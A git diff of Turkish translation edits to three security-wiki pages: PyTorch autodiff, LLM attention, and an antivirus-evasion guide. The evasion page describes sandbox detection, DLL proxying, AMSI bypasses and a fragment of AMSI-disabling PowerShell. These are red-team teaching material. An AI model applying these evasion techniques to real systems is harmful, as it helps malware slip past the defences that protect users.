Otomatik türev alma (AD), fonksiyonların **türevlerini (gradyanlarını)** verimli ve doğru bir şekilde değerlendirmek için kullanılan bir hesaplama tekniğidir. Sinir ağları bağlamında, AD, **gradyan inişi gibi optimizasyon algoritmaları için gereken gradyanların** hesaplanmasını sağlar. PyTorch, bu süreci basitleştiren **autograd** adlı bir otomatik türev alma motoru sunar.
Otomatik türev alma (AD), fonksiyonların **türevlerini (gradyanlarını)** verimli ve doğru bir şekilde **değerlendirmek** için kullanılan bir hesaplama tekniğidir. Sinir ağları bağlamında, AD, **gradyan inişi gibi optimizasyon algoritmaları için gereken gradyanların** hesaplanmasını sağlar. PyTorch, bu süreci basitleştiren **autograd** adlı bir otomatik türev alma motoru sunar.
### Otomatik Türev Almanın Matematiksel Açıklaması
**1. Zincir Kuralı**
Otomatik türev almanın temelinde, kalkülüsün **zincir kuralı** vardır. Zincir kuralı, bir fonksiyon bileşimi varsa, bileşik fonksiyonun türevinin, bileşen fonksiyonların türevlerinin çarpımı olduğunu belirtir.
Otomatik türev almanın merkezinde, kalkülüsün **zincir kuralı** vardır. Zincir kuralı, bir fonksiyon bileşimi varsa, bileşik fonksiyonun türevinin, bileşen fonksiyonların türevlerinin çarpımı olduğunu belirtir.
Matematiksel olarak, eğer `y=f(u)` ve `u=g(x)` ise, o zaman `y`'nin `x`'e göre türevi:
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**2. Hesaplama Grafiği**
@ -142,7 +142,7 @@ AD'de, hesaplamalar **hesaplama grafiği** olarak temsil edilir; burada her dü
Basit bir fonksiyonu ele alalım:
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Burada:
@ -150,7 +150,7 @@ Burada:
* `y=1.0` hedef etikettir.
* `L` kayıptır.
Kayıp `L`'nin ağırlık `w` ve bias `b`'ye göre gradyanını hesaplamak istiyoruz.
Kayıp `L`'nin ağırlık `w` ve bias `b` ile ilgili gradyanını hesaplamak istiyoruz.
**4. Gradyanları Manuel Olarak Hesaplama**
@ -265,7 +265,7 @@ In this code:
* **İleri Geçiş:**ırlığın çıktısını hesaplar.
* **Geri Geçiş:** `loss.backward()` kaybın tüm parametrelere göre gradyanlarını hesaplar.
* **Parametre Güncellemesi:** `optimizer.step()` hesaplanan gradyanlara dayalı olarak parametreleri günceller.
* **Parametre Güncellemesi:** `optimizer.step()` hesaplanan gradyanlara göre parametreleri günceller.
### **5. Geri Geçişi Anlamak**

View file

@ -2,30 +2,30 @@
## Dikkat Mekanizmaları ve Sinir Ağlarındaki Kendine Dikkat
Dikkat mekanizmaları, sinir ağlarının **her bir çıktıyı üretirken girdinin belirli kısımlarına odaklanmasını** sağlar. Farklı girdilere farklıırlıklar atayarak, modelin mevcut göreve en uygun girdileri belirlemesine yardımcı olur. Bu, makine çevirisi gibi görevlerde, tüm cümlenin bağlamını anlamanın doğru çeviri için gerekli olduğu durumlarda kritik öneme sahiptir.
Dikkat mekanizmaları, sinir ağlarının **her bir çıktı parçasını oluştururken girdiğin belirli kısımlarına odaklanmasını** sağlar. Farklı girdilere farklıırlıklar atayarak, modelin mevcut görevle en ilgili girdileri belirlemesine yardımcı olur. Bu, makine çevirisi gibi görevlerde, tüm cümlenin bağlamını anlamanın doğru çeviri için gerekli olduğu durumlarda kritik öneme sahiptir.
{% hint style="success" %}
Bu dördüncü aşamanın amacı çok basit: **Bazı dikkat mekanizmaları uygulamak**. Bunlar, **LLM'yi eğitmek için kullanılan mevcut cümledeki bir kelimenin komşularıyla olan ilişkisini yakalayacak çok sayıda **tekrarlanan katman** olacak.\
Bu dördüncü aşamanın amacı çok basit: **Bazı dikkat mekanizmaları uygulamak**. Bunlar, **kelimenin kelime dağarcığındaki komşularıyla olan ilişkisini yakalayacak çok sayıda **tekrarlanan katman** olacak.\
Bunun için çok sayıda katman kullanılacak, bu nedenle çok sayıda eğitilebilir parametre bu bilgiyi yakalayacak.
{% endhint %}
### Dikkat Mekanizmalarını Anlamak
Dil çevirisi için kullanılan geleneksel sıralı-sıralı modellerde, model bir giriş dizisini sabit boyutlu bir bağlam vektörüne kodlar. Ancak, bu yaklaşım uzun cümlelerle başa çıkmakta zorlanır çünkü sabit boyutlu bağlam vektörü gerekli tüm bilgileri yakalayamayabilir. Dikkat mekanizmaları, modelin her bir çıktı token'ını üretirken tüm giriş token'larını dikkate almasına olanak tanıyarak bu sınırlamayı aşar.
Dil çevirisi için kullanılan geleneksel sıralı-sıralı modellerde, model bir girdi dizisini sabit boyutlu bir bağlam vektörüne kodlar. Ancak, bu yaklaşım uzun cümlelerle başa çıkmakta zorlanır çünkü sabit boyutlu bağlam vektörü gerekli tüm bilgileri yakalayamayabilir. Dikkat mekanizmaları, modelin her çıktı tokenini oluştururken tüm girdi tokenlerini dikkate almasına olanak tanıyarak bu sınırlamayı aşar.
#### Örnek: Makine Çevirisi
Almanca "Kannst du mir helfen diesen Satz zu übersetzen" cümlesini İngilizceye çevirmeyi düşünün. Kelime kelime çeviri, diller arasındaki dilbilgisel yapı farklılıkları nedeniyle gramer açısından doğru bir İngilizce cümle üretmeyecektir. Bir dikkat mekanizması, modelin çıktı cümlesinin her kelimesini üretirken giriş cümlesinin ilgili kısımlarına odaklanmasını sağlar ve bu da daha doğru ve tutarlı bir çeviri ile sonuçlanır.
Almanca "Kannst du mir helfen diesen Satz zu übersetzen" cümlesini İngilizceye çevirmeyi düşünün. Kelime kelime çeviri, diller arasındaki dilbilgisel yapı farklılıkları nedeniyle gramer açısından doğru bir İngilizce cümle üretmeyecektir. Bir dikkat mekanizması, modelin çıktı cümlesinin her kelimesini oluştururken girdi cümlesinin ilgili kısımlarına odaklanmasını sağlar ve bu da daha doğru ve tutarlı bir çeviri ile sonuçlanır.
### Kendine Dikkate Giriş
Kendine dikkat, veya iç-dikkat, dikkat mekanizmasının tek bir dizide uygulanarak o dizinin bir temsilini hesapladığı bir mekanizmadır. Bu, dizideki her token'ın diğer tüm token'lara dikkat etmesine olanak tanır ve modelin token'lar arasındaki bağımlılıkları, dizideki mesafelerine bakılmaksızın yakalamasına yardımcı olur.
Kendine dikkat, veya iç-dikkat, dikkat mekanizmasının tek bir dizide uygulanarak o dizinin bir temsilini hesapladığı bir mekanizmadır. Bu, dizideki her tokenin diğer tüm tokenlere dikkat etmesine olanak tanır ve modelin tokenler arasındaki bağımlılıkları, dizideki mesafelerine bakılmaksızın yakalamasına yardımcı olur.
#### Temel Kavramlar
* **Token'lar**: Giriş dizisinin bireysel öğeleri (örneğin, bir cümledeki kelimeler).
* **Gömme**: Token'ların vektör temsilleri, anlamsal bilgiyi yakalar.
* **Dikkat Ağırlıkları**: Her token'ın diğerlerine göre önemini belirleyen değerler.
* **Tokenler**: Girdi dizisinin bireysel öğeleri (örneğin, bir cümledeki kelimeler).
* **Gömme**: Anlamsal bilgiyi yakalayan tokenlerin vektör temsilleri.
* **Dikkat Ağırlıkları**: Her tokenin diğerlerine göre önemini belirleyen değerler.
### Dikkat Ağırlıklarını Hesaplama: Adım Adım Bir Örnek
@ -40,7 +40,7 @@ Amacımız, **shiny** kelimesi için **bağlam vektörünü** kendine dikkat kul
#### Adım 1: Dikkat Puanlarını Hesapla
{% hint style="success" %}
Sadece sorgunun her boyut değerini ilgili token'ınki ile çarpın ve sonuçları toplayın. Her token çifti için 1 değer elde edersiniz.
Sadece sorgunun her boyut değerini ilgili tokenin boyut değeri ile çarpın ve sonuçları toplayın. Her token çifti için 1 değer elde edersiniz.
{% endhint %}
Cümledeki her kelime için, **shiny** ile ilgili dikkat puanını, gömmelerinin noktasal çarpımını hesaplayarak hesaplayın.
@ -51,7 +51,7 @@ Cümledeki her kelime için, **shiny** ile ilgili dikkat puanını, gömmelerini
**"shiny" ve "shiny" Arasındaki Dikkat Puanı**
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
**"sun" ve "shiny" Arasındaki Dikkat Puanı**
@ -135,8 +135,8 @@ Bu matrisler, orijinal gömmeleri dikkat hesaplamak için uygun yeni bir alana d
Varsayalım ki:
* Giriş boyutu `din=3` (gömme boyutu)
* Çıkış boyutu `dout=2` (sorgular, anahtarlar ve değerler için istenen boyut)
* Girdi boyutu `din=3` (gömme boyutu)
* Çıktı boyutu `dout=2` (sorgular, anahtarlar ve değerler için istenen boyut)
ırlık matrislerini başlatın:
```python
@ -165,12 +165,12 @@ values = torch.matmul(inputs, W_value)
**Puanları Ölçekle**
Nokta ürünlerinin çok büyük olmasını önlemek için, bunları anahtar boyutunun karekökü `dk` ile ölçeklendir:
Nokta çarpımlarının çok büyük olmasını önlemek için, bunları anahtar boyutunun karekökü `dk` ile ölçeklendir:
<figure><img src="../../.gitbook/assets/image (13).png" alt="" width="295"><figcaption></figcaption></figure>
{% hint style="success" %}
Puan, boyutların karekökü ile bölünür çünkü nokta ürünleri çok büyük hale gelebilir ve bu, onları düzenlemeye yardımcı olur.
Puan, boyutların karekökü ile bölünür çünkü nokta çarpımları çok büyük hale gelebilir ve bu, onları düzenlemeye yardımcı olur.
{% endhint %}
**Dikkat Ağırlıklarını Elde Etmek İçin Softmax Uygula:** İlk örnekte olduğu gibi, tüm değerleri normalize et, böylece toplamları 1 olur.&#x20;
@ -225,7 +225,7 @@ sa_v2 = SelfAttention_v2(d_in, d_out)
print(sa_v2(inputs))
```
{% hint style="info" %}
Matrisleri rastgele değerlerle başlatmak yerine, tüm ağırlıkları eğitilecek parametreler olarak işaretlemek için `nn.Linear` kullanıldığını unutmayın.
Rastgele değerlerle matrisleri başlatmak yerine, tüm ağırlıkları eğitilecek parametreler olarak işaretlemek için `nn.Linear` kullanıldığını unutmayın.
{% endhint %}
## Nedensel Dikkat: Gelecek Kelimeleri Gizleme
@ -234,7 +234,7 @@ LLM'ler için modelin, **bir sonraki token'ı tahmin etmek** amacıyla mevcut ko
### Nedensel Dikkat Maskesi Uygulama
Nedensel dikkati uygulamak için, dikkat puanlarına **softmax işleminden önce** bir maske uygularız, böylece kalanlar hala 1'e toplamış olur. Bu maske, gelecekteki token'ların dikkat puanlarını negatif sonsuz olarak ayarlar ve softmax'tan sonra dikkat ağırlıklarının sıfır olmasını sağlar.
Nedensel dikkati uygulamak için, dikkat puanlarına **softmax işlemi öncesinde** bir maske uygularız, böylece kalanlar hala 1'e toplamış olur. Bu maske, gelecekteki token'ların dikkat puanlarını negatif sonsuz olarak ayarlayarak, softmax'tan sonra dikkat ağırlıklarının sıfır olmasını sağlar.
**Adımlar**
@ -251,9 +251,9 @@ masked_scores = attention_scores + mask
attention_weights = torch.softmax(masked_scores, dim=-1)
```
### Ek Dikkat Ağırlıklarını Dropout ile Maskeleme
### Dropout ile Ek Dikkat Ağırlıklarını Maskeleme
**Aşırı uyumu önlemek** için, softmax işleminden sonra dikkat ağırlıklarına **dropout** uygulayabiliriz. Dropout, eğitim sırasında **dikkat ağırlıklarının bazılarını rastgele sıfırlar**.
**Aşırı uyum sağlamayı önlemek** için, softmax işleminden sonra dikkat ağırlıklarına **dropout** uygulayabiliriz. Dropout, eğitim sırasında **dikkat ağırlıklarının bazılarını rastgele sıfırlar**.
```python
dropout = nn.Dropout(p=0.5)
attention_weights = dropout(attention_weights)
@ -326,11 +326,11 @@ print("context_vecs.shape:", context_vecs.shape)
```
## Tek Başlı Dikkati Çok Başlı Dikkate Genişletme
**Çok başlı dikkat**, pratikte **kendi ağırlıklarıyla** her biri için **birden fazla örneğin** kendine dikkat fonksiyonunu çalıştırmasından oluşur, böylece farklı son vektörler hesaplanır.
**Çok başlı dikkat**, pratikte **kendi ağırlıkları** olan **birden fazla örneğin** kendine dikkat fonksiyonunu çalıştırmasından oluşur, böylece farklı son vektörler hesaplanır.
### Kod Örneği
Önceki kodu yeniden kullanmak ve sadece onu birkaç kez çalıştıran bir sarmalayıcı eklemek mümkün olabilir, ancak bu, tüm başları aynı anda işleyen [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb) adresinden daha optimize edilmiş bir versiyondur (pahalı döngü sayısını azaltır). Kodda görüldüğü gibi, her bir token'ın boyutları baş sayısına göre farklı boyutlara bölünmüştür. Bu şekilde, eğer token 8 boyuta sahipse ve 3 baş kullanmak istiyorsak, boyutlar 4 boyuttan oluşan 2 diziye bölünecek ve her baş bunlardan birini kullanacaktır:
Önceki kodu yeniden kullanmak ve sadece onu birkaç kez çalıştıran bir sarmalayıcı eklemek mümkün olabilir, ancak bu, tüm başları aynı anda işleyen [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb) adresinden daha optimize edilmiş bir versiyondur (pahalı döngü sayısını azaltır). Kodda görebileceğiniz gibi, her bir token'ın boyutları baş sayısına göre farklı boyutlara bölünmüştür. Bu şekilde, token 8 boyuta sahipse ve 3 baş kullanmak istiyorsak, boyutlar 4 boyuttan oluşan 2 diziye bölünecek ve her baş bunlardan birini kullanacaktır:
```python
class MultiHeadAttention(nn.Module):
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
@ -410,9 +410,9 @@ print("context_vecs.shape:", context_vecs.shape)
Başka bir kompakt ve verimli uygulama için PyTorch'taki [`torch.nn.MultiheadAttention`](https://pytorch.org/docs/stable/generated/torch.nn.MultiheadAttention.html) sınıfını kullanabilirsiniz.
{% hint style="success" %}
ChatGPT'nin, her başın tüm token'ların tüm boyutlarını kontrol etmesi yerine token'ların boyutlarını başlar arasında bölmenin neden daha iyi olduğu hakkında kısa yanıtı:
ChatGPT'nin, her başın tüm token'ların tüm boyutlarını kontrol etmesi yerine token'ların boyutlarını başlar arasında bölmenin neden daha iyi olduğuna dair kısa yanıtı:
Her başın tüm gömme boyutlarını işlemesine izin vermek, her başın tam bilgilere erişimi olacağı için avantajlı gibi görünse de, standart uygulama **gömme boyutlarını başlar arasında bölmektir**. Bu yaklaşım, hesaplama verimliliği ile model performansını dengeler ve her başın çeşitli temsilleri öğrenmesini teşvik eder. Bu nedenle, gömme boyutlarını bölmek, her başın tüm boyutları kontrol etmesinden genellikle tercih edilir.
Her başın tüm gömme boyutlarını işlemesine izin vermek, her başın tam bilgiye erişimi olacağı için avantajlı gibi görünse de, standart uygulama **gömme boyutlarını başlar arasında bölmektir**. Bu yaklaşım, hesaplama verimliliği ile model performansını dengeler ve her başın çeşitli temsilleri öğrenmesini teşvik eder. Bu nedenle, gömme boyutlarını bölmek, her başın tüm boyutları kontrol etmesinden genellikle tercih edilir.
{% endhint %}
## References

View file

@ -1,8 +1,8 @@
# Antivirus (AV) Bypass
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking öğrenin ve pratik yapın:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -15,9 +15,9 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png"
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Hacking kariyerine** ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı yazılı ve sözlü Lehçe gereklidir_).
**Hacking kariyerine** ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -35,25 +35,25 @@ Statik tespit, bilinen kötü amaçlı dizeleri veya bayt dizilerini bir ikili d
Eğer ikili dosyayı şifrelerseniz, AV'nin programınızı tespit etmesi imkansız hale gelir, ancak programı bellek içinde deşifre edip çalıştırmak için bir tür yükleyiciye ihtiyacınız olacaktır.
* **Obfuscation**
* **Obfuscation (Karmaşıklaştırma)**
Bazen tek yapmanız gereken, ikili dosyanızdaki veya betiğinizdeki bazı dizeleri değiştirmektir, ancak bu, neyi obfuscate etmeye çalıştığınıza bağlı olarak zaman alıcı bir görev olabilir.
Bazen tek yapmanız gereken, ikili dosyanızdaki veya betiğinizdeki bazı dizeleri değiştirmektir, ancak bu, neyi karmaşıklaştırmaya çalıştığınıza bağlı olarak zaman alıcı bir görev olabilir.
* **Özel araçlar**
Kendi araçlarınızı geliştirirseniz, bilinen kötü imzalar olmayacaktır, ancak bu çok zaman ve çaba gerektirir.
{% hint style="info" %}
Windows Defender statik tespitine karşı kontrol etmenin iyi bir yolu [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)'dir. Temelde dosyayı birden fazla parçaya böler ve ardından Defender'dan her birini ayrı ayrı taramasını ister, bu şekilde, ikili dosyanızdaki işaretlenmiş dizelerin veya baytların tam olarak ne olduğunu size söyleyebilir.
Windows Defender'ın statik tespitine karşı kontrol etmenin iyi bir yolu [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)'dir. Temelde dosyayı birden fazla parçaya ayırır ve ardından Defender'a her birini ayrı ayrı taramasını ister, bu şekilde, ikili dosyanızdaki işaretlenmiş dizelerin veya baytların tam olarak ne olduğunu size söyleyebilir.
{% endhint %}
Bu [YouTube çalma listesine](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) göz atmanızı şiddetle tavsiye ederim, pratik AV Kaçınma hakkında.
### **Dinamik analiz**
Dinamik analiz, AV'nin ikili dosyanızı bir kum havuzunda çalıştırması ve kötü amaçlı etkinlikleri izlemesidir (örneğin, tarayıcınızın şifrelerini deşifre etmeye ve okumaya çalışmak, LSASS üzerinde minidump yapmak vb.). Bu kısım biraz daha karmaşık olabilir, ancak kum havuzlarından kaçınmak için yapabileceğiniz bazı şeyler var.
Dinamik analiz, AV'nin ikili dosyanızı bir kum havuzunda çalıştırması ve kötü amaçlı etkinlikleri izlemesidir (örneğin, tarayıcınızın şifrelerini deşifre etmeye ve okumaya çalışmak, LSASS üzerinde minidump yapmak vb.). Bu kısım üzerinde çalışmak biraz daha zor olabilir, ancak kum havuzlarından kaçınmak için yapabileceğiniz bazı şeyler var.
* **Çalıştırmadan önce uyku** Uygulamanın nasıl uygulandığına bağlı olarak, AV'nin dinamik analizini atlatmanın harika bir yolu olabilir. AV'lerin dosyaları taramak için çok kısa bir süreleri vardır, bu nedenle uzun uyku süreleri, ikili dosyaların analizini bozabilir. Sorun şu ki, birçok AV'nin kum havuzları, uygulamanın nasıl uygulandığına bağlı olarak uyku süresini atlayabilir.
* **Çalıştırmadan önce uyku** Uygulamanın nasıl uygulandığına bağlı olarak, AV'nin dinamik analizini atlatmanın harika bir yolu olabilir. AV'lerin dosyaları taramak için çok kısa bir süreleri vardır, bu nedenle uzun uyku süreleri, ikili dosyaların analizini bozabilir. Sorun, birçok AV'nin kum havuzlarının, nasıl uygulandığına bağlı olarak, uyku süresini atlayabilmesidir.
* **Makinenin kaynaklarını kontrol etme** Genellikle kum havuzlarının çalışacak çok az kaynağı vardır (örneğin, < 2GB RAM), aksi takdirde kullanıcının makinesini yavaşlatabilirler. Burada oldukça yaratıcı olabilirsiniz, örneğin CPU'nun sıcaklığını veya hatta fan hızlarını kontrol ederek, her şey kum havuzunda uygulanmayabilir.
* **Makineye özgü kontroller** Eğer "contoso.local" alanına katılmış bir kullanıcının iş istasyonunu hedeflemek istiyorsanız, bilgisayarın alanını kontrol edebilir ve belirttiğinizle eşleşip eşleşmediğini görebilirsiniz, eğer eşleşmiyorsa, programınızı kapatabilirsiniz.
@ -67,9 +67,9 @@ Kum havuzlarına karşı gitmek için [@mgeeky](https://twitter.com/mariuszbit)
Bu yazıda daha önce söylediğimiz gibi, **kamu araçları** sonunda **tespit edilecektir**, bu nedenle kendinize bir şey sormalısınız:
Örneğin, LSASS'ı dökmek istiyorsanız, **gerçekten mimikatz kullanmanız gerekiyor mu**? Yoksa daha az bilinen ve aynı zamanda LSASS'ı döken farklı bir projeyi mi kullanabilirsiniz?
Örneğin, LSASS'ı dökmek istiyorsanız, **gerçekten mimikatz kullanmanız gerekiyor mu**? Yoksa daha az bilinen ve aynı zamanda LSASS'ı döken farklı bir proje mi kullanabilirsiniz?
Doğru cevap muhtemelen ikincisidir. Mimikatz'ı örnek alırsak, muhtemelen AV'ler ve EDR'ler tarafından en çok işaretlenen kötü amaçlı yazılım parçasıdır, proje kendisi süper havalı olsa da, AV'leri atlatmak için onunla çalışmak bir kabus haline gelir, bu nedenle başarmaya çalıştığınız şey için alternatifler arayın.
Doğru cevap muhtemelen ikincisidir. Mimikatz'ı örnek alırsak, muhtemelen AV'ler ve EDR'ler tarafından en çok işaretlenen kötü amaçlı yazılım parçasıdır, proje kendisi süper havalı olsa da, AV'leri atlatmak için onunla çalışmak bir kabus haline gelebilir, bu nedenle neyi başarmaya çalışıyorsanız alternatifler arayın.
{% hint style="info" %}
Kaçınma için yüklerinizi değiştirirken, lütfen Defender'da **otomatik örnek gönderimini kapatmayı** unutmayın ve lütfen, cidden, **VIRUSTOTAL'A YÜKLEMEYİN** eğer amacınız uzun vadede kaçınma sağlamaksa. Eğer yükünüzün belirli bir AV tarafından tespit edilip edilmediğini kontrol etmek istiyorsanız, bunu bir VM'ye kurun, otomatik örnek gönderimini kapatmaya çalışın ve sonuçtan memnun kalana kadar orada test edin.
@ -79,7 +79,7 @@ Kaçınma için yüklerinizi değiştirirken, lütfen Defender'da **otomatik ör
Mümkün olduğunda, her zaman **kaçınma için DLL'leri kullanmayı önceliklendirin**, deneyimlerime göre, DLL dosyaları genellikle **çok daha az tespit edilir** ve analiz edilir, bu nedenle bazı durumlarda tespiti önlemek için kullanmak için çok basit bir hiledir (tabii ki yükünüzün bir DLL olarak çalıştırılma yolu varsa).
Bu görüntüde görebileceğimiz gibi, Havoc'tan bir DLL Yüklemesi antiscan.me'de 4/26 tespit oranına sahipken, EXE yüklemesi 7/26 tespit oranına sahiptir.
Bu görüntüde gördüğümüz gibi, Havoc'tan bir DLL Yüklemesi antiscan.me'de 4/26 tespit oranına sahipken, EXE yüklemesi 7/26 tespit oranına sahiptir.
<figure><img src="../.gitbook/assets/image (1130).png" alt=""><figcaption><p>antiscan.me'de normal bir Havoc EXE yüklemesi ile normal bir Havoc DLL karşılaştırması</p></figcaption></figure>
@ -106,9 +106,9 @@ Bu komut, "C:\Program Files\\" içindeki DLL hijacking'e duyarlı programların
Kötü niyetli bir DLL'yi, bir programın yüklemeyi beklediği isimle yerleştirmek, yüklemenizi çalıştırmaz, çünkü program o DLL içinde bazı belirli işlevler bekler. Bu sorunu çözmek için, **DLL Proxying/Forwarding** adı verilen başka bir teknik kullanacağız.
**DLL Proxying**, bir programın proxy (ve kötü niyetli) DLL'den orijinal DLL'ye yaptığı çağrıları yönlendirir, böylece programın işlevselliğini korur ve yüklemenizin yürütülmesini yönetebilir.
**DLL Proxying**, bir programın proxy (ve kötü niyetli) DLL'den orijinal DLL'ye yaptığı çağrıları ileterek, programın işlevselliğini korur ve yüklemenizin yürütülmesini yönetebilir.
[@flangvik](https://twitter.com/Flangvik/) tarafından [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) projesini kullanacağım.
[@flangvik](https://twitter.com/Flangvik/) tarafından yapılan [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) projesini kullanacağım.
Aşağıda izlediğim adımlar:
@ -157,12 +157,12 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
<figure><img src="../.gitbook/assets/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
{% hint style="info" %}
Kaçış, sadece bir kedi ve fare oyunudur, bugün işe yarayan yarın tespit edilebilir, bu yüzden mümkünse sadece bir araca güvenmeyin, birden fazla kaçış tekniğini birleştirmeyi deneyin.
Kaçış, sadece bir kedi ve fare oyunudur; bugün işe yarayan bir şey yarın tespit edilebilir, bu yüzden mümkünse sadece bir araca güvenmeyin, birden fazla kaçış tekniğini birleştirmeyi deneyin.
{% endhint %}
## AMSI (Kötü Amaçlı Yazılım Tarama Arayüzü)
AMSI, "[dosyasız kötü amaçlı yazılım](https://en.wikipedia.org/wiki/Fileless\_malware)"ı önlemek için oluşturulmuştur. Başlangıçta, AV'ler yalnızca **diskteki dosyaları** tarayabiliyordu, bu nedenle bir şekilde yükleri **doğrudan bellek içinde** çalıştırabiliyorsanız, AV bunu önlemek için hiçbir şey yapamazdı, çünkü yeterli görünürlüğe sahip değildi.
AMSI, "[dosyasız kötü amaçlı yazılım](https://en.wikipedia.org/wiki/Fileless\_malware)"ı önlemek için oluşturulmuştur. Başlangıçta, antivirüsler yalnızca **diskteki dosyaları** tarayabiliyordu, bu nedenle bir şekilde yükleri **doğrudan bellek içinde** çalıştırabiliyorsanız, antivirüs bunun önüne geçmek için hiçbir şey yapamazdı, çünkü yeterli görünürlüğe sahip değildi.
AMSI özelliği, Windows'un bu bileşenlerine entegre edilmiştir.
@ -178,7 +178,7 @@ Antivirüs çözümlerinin, şifrelenmemiş ve karmaşıklaştırılmamış bir
<figure><img src="../.gitbook/assets/image (1135).png" alt=""><figcaption></figcaption></figure>
Betik çalıştırılan yürütülebilir dosyanın yolunu `amsi:` ile önceden eklediğine dikkat edin, bu durumda powershell.exe.
Betik çalıştırılan yürütülebilir dosyanın yolunu `amsi:` ile önceden eklediğine dikkat edin; bu durumda, powershell.exe.
Diskte herhangi bir dosya bırakmadık, ancak yine de AMSI nedeniyle bellek içinde yakalandık.
@ -188,11 +188,11 @@ AMSI'yi aşmanın birkaç yolu vardır:
AMSI esasen statik tespitlerle çalıştığı için, yüklemeye çalıştığınız betikleri değiştirmek, tespiti aşmanın iyi bir yolu olabilir.
Ancak, AMSI birden fazla katmana sahip olsa bile betikleri karmaşıklaştırma yeteneğine sahiptir, bu nedenle karmaşıklaştırma, nasıl yapıldığına bağlı olarak kötü bir seçenek olabilir. Bu, kaçışı o kadar da basit hale getirmez. Ancak bazen, yapmanız gereken tek şey birkaç değişken adını değiştirmek ve işinizi görür, bu nedenle bir şeyin ne kadar işaretlendiğine bağlıdır.
Ancak, AMSI birden fazla katmana sahip olsa bile betikleri karmaşıklaştırma yeteneğine sahiptir, bu nedenle karmaşıklaştırma, nasıl yapıldığına bağlı olarak kötü bir seçenek olabilir. Bu, kaçışı o kadar da basit hale getirmez. Ancak bazen, yapmanız gereken tek şey birkaç değişken adını değiştirmek ve işinizi görür, bu da bir şeyin ne kadar işaretlendiğine bağlıdır.
* **AMSI Aşma**
AMSI, bir DLL'yi powershell (aynı zamanda cscript.exe, wscript.exe vb.) sürecine yükleyerek uygulandığı için, ayrıcalıksız bir kullanıcı olarak çalışırken bile bununla oynamak mümkündür. AMSI'nin uygulanmasındaki bu kusur nedeniyle, araştırmacılar AMSI taramasını aşmanın birçok yolunu bulmuşlardır.
AMSI, bir DLL'yi powershell (aynı zamanda cscript.exe, wscript.exe vb.) sürecine yükleyerek uygulandığı için, yetkisiz bir kullanıcı olarak çalışırken bile bununla oynamak mümkündür. AMSI'nin uygulanmasındaki bu kusur nedeniyle, araştırmacılar AMSI taramasını aşmanın birçok yolunu bulmuşlardır.
**Bir Hata Zorlamak**
@ -222,9 +222,9 @@ $Spotfix.SetValue($null,$true)
```
Keep in mind, that this will probably get flagged once this post comes out, so you should not publish any code if your plan is staying undetected.
**Bellek Yaması**
**Memory Patching**
Bu teknik ilk olarak [@RastaMouse](https://twitter.com/\_RastaMouse/) tarafından keşfedilmiştir ve amsi.dll içindeki "AmsiScanBuffer" fonksiyonunun adresini bulmayı ve bunu E\_INVALIDARG kodunu döndüren talimatlarla üzerine yazmayı içerir, bu şekilde, gerçek taramanın sonucu 0 dönecek ve bu da temiz bir sonuç olarak yorumlanacaktır.
Bu teknik, [@RastaMouse](https://twitter.com/\_RastaMouse/) tarafından ilk olarak keşfedilmiştir ve amsi.dll içindeki "AmsiScanBuffer" fonksiyonunun adresini bulmayı ve bunu E\_INVALIDARG kodunu döndüren talimatlarla üzerine yazmayı içerir; bu şekilde, gerçek taramanın sonucu 0 dönecek ve bu da temiz bir sonuç olarak yorumlanacaktır.
{% hint style="info" %}
